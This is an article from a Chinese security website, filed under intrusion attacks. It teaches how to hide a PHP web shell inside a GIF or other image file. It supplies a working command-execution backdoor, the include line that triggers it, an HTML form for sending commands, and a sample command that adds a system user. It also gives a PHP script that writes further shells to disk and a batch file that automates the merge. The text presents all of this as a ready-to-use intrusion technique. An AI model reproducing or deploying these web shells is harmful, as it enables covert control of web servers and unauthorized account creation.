执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 入侵攻击 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
修改注册表对付病毒木马后门及黑客
脚本木马之虚拟主机防护篇
系统设置搞定脚本安全
Delphi木马DIY之代码藏后门的可能性
超初级的linux后门制作方法
win2000开机启动/注销及用户登录/注
深入挖掘Windows脚本技术
windows系统后门账号小结
perl脚本中的一些安全问题
主题:关于最小asp的后门的几个有趣
脚本后门注入图片新方法
作者:佚名 来源:安全在线 更新时间:2005-8-26 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

阅读提示:    自从臭要饭的发布了那个脚本隐藏于图片中的程序之后(没看的朋友参见Bugkidz上的文章),不断就有人来说什么程序不好用拉,图片生成不了啦什么的。于是乎昨天我就重新研究了一下原理。突然想到了用一种新方法就是用copy命令进行图片与脚本的合并,却一直发现行不通,原因是不明:我一用copy合并后,图片的结构就被我破坏了,放到网页上不是图片只显示了一点就是干脆一个红叉。百思不得其解,发到论坛上请教又没人睬我。于是我发狠在晚上花了两个小时时间,终于研究出个结果了,呼,好累啊~~~
(由于我是本地试验,而我家的Apache不支持Asp,所以以下都是用的php程序注入,(我只会php)理论上asp一样可行,哪位愿意就帮我试试了,谢了先~~~)
先看看之前我是怎么干的:

C:\>copy 1.gif+2.php 3.gif

上面一句的意思是把1.gif和2.php头尾相接生成一个新文件3.gif。2.php是我自己写的一个cmdphpshell文件(安全模式关闭),代码如下:

<?$cmd=$_POST['cmd'];@system ($cmd);?>

然后在一个wfw.php中加上这么一句:

<?include("3.gif");?>

/b参数是指把需要拼接的文件都当作非文本文件处理。如果不带此参数,那么,系统会自动认为这两个文件都是文本文件,而文本文件通常是1A作为结束标志的,所以系统会在拼接两个文本文件时把前一个文本文件1A后(包括1A)的字符全部去除,以保证新生成文件的正常。这样也就解释了为什么我直接用copy命令生成的图片会不可见,因为只要其中有1A字符存在,后面的字符都会被去除。
懂了这些,后面的就一帆风顺了。建立一个本地提交POST参数的html表单:

<html>
<head>
&nbsp; &nbsp; &nbsp; <title>图片隐藏脚本后门程序客户端</title>
</head>
<body>
<center><font size=3 color=#555555 class=fonts><b>图片隐藏脚本后门程序客户端</b></font><br>By 我非我<br>(命令执行功能)<br><br><br>

<form method="post" action="http://localhost/wfw.php" enctype="multipart/form-data">
<input type='text' name="cmd" value="" size=20>
<input type=submit name="submit" value="执行">
<br><br>〖输入系统命令或程序,执行程序请输具体的路径〗
</form>
</center>
</body>
</html>

以上的action中由于我是本地测试,所以填的是localhost,具体用时,要改为那个插入include的文件的URL。
打开那个表单,在命令中我输入:

net user wfw /add

于是页面就跳转到了wfw.php上,出乎我意料的是:图片是完全显示出来了,但本应显示的命令应答却没有显示。于是我查看了一下我的机器,看是否命令完成:

C:>net user

结果是成功了。

小结:经过一段时间的探索和努力,终于成功完成了这个方法,是不是很简单?不需要再下载图片用臭要饭的那个程序加工然后再上传。完全可以轻轻松松在Webshell中搞定。插入的脚本可以不是我那个脚本(太简陋了,又没回显,不知为何,希望有牛人可以帮我搞定),可以是这样的:把POST的数据直接保存为另一个phpshell(或是aspshell)当然也可以自定义咯~~(最好插入前先加个密)

下面是一个php的脚本,在图片位置生成一个自定义文件,表单方面我就不写了,把上面的表单稍微改改就好了:

<?
if ($_POST['create'])
{
if (!is_writeable(str_replace('\','/',dirname(__FILE__)))) {
&nbsp; &nbsp;exit;
&nbsp; &nbsp; } else {
&nbsp; &nbsp; if (file_exists($_POST['filename'])) {
&nbsp; &nbsp; exit;
&nbsp; &nbsp; } else {
&nbsp; &nbsp; $fp=@fopen("".$_POST['filename']."","wb");
&nbsp; &nbsp; $content = $_POST['filedate'];
&nbsp; &nbsp; $fw=@fwrite($fp,$content);
&nbsp; &nbsp; @fclose($fp);
&nbsp; &nbsp; }
}
?>

因为是利用cmd命令执行,所以我就顺便写一个批处理,作用和要饭的那个程序一样。其实没什么意思,只是为了大家记住我这个人罢了。若是不想那么麻烦用批处理程序,直接输入:start下goto end上的语句就可以了。

@echo off
echo.
echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;**********************************
echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 脚本后门注入图片程序 By 我非我
echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mail:wofeiwo1987@yahoo.com.cn
echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; QQ:309088292
echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;**********************************
echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Usage:%0 ^<图片文件^> ^<脚本文件^> ^<生成文件^>
echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Eg:%0 1.gif 2.php 3.gif
echo.
if '%1'=='' goto err
if '%2'=='' goto err
if '%3'=='' goto err
:start
echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;开始.......
copy /b %1+%2 %3
if not %ERRORLEVEL%==0 goto err
echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;图片生成成功!
goto end
:err
echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;图片生成失败,请检查各参数是否正确!
:end
echo.

ps:另外,我注意到,图片不一定非要是gif文件,也可以是.bmp.png.jpg等格式,效果同样哦!

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2008 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    中国安全在线友情提示:建议使用IE6.0或以上版本, 分辩率1024*768进行浏览
    敢想 敢做 挑战自我 努力做最好 打造最优秀的新手成长 第一起跑线
    中网科技有限公司 技术支持 鄂ICP备05006475号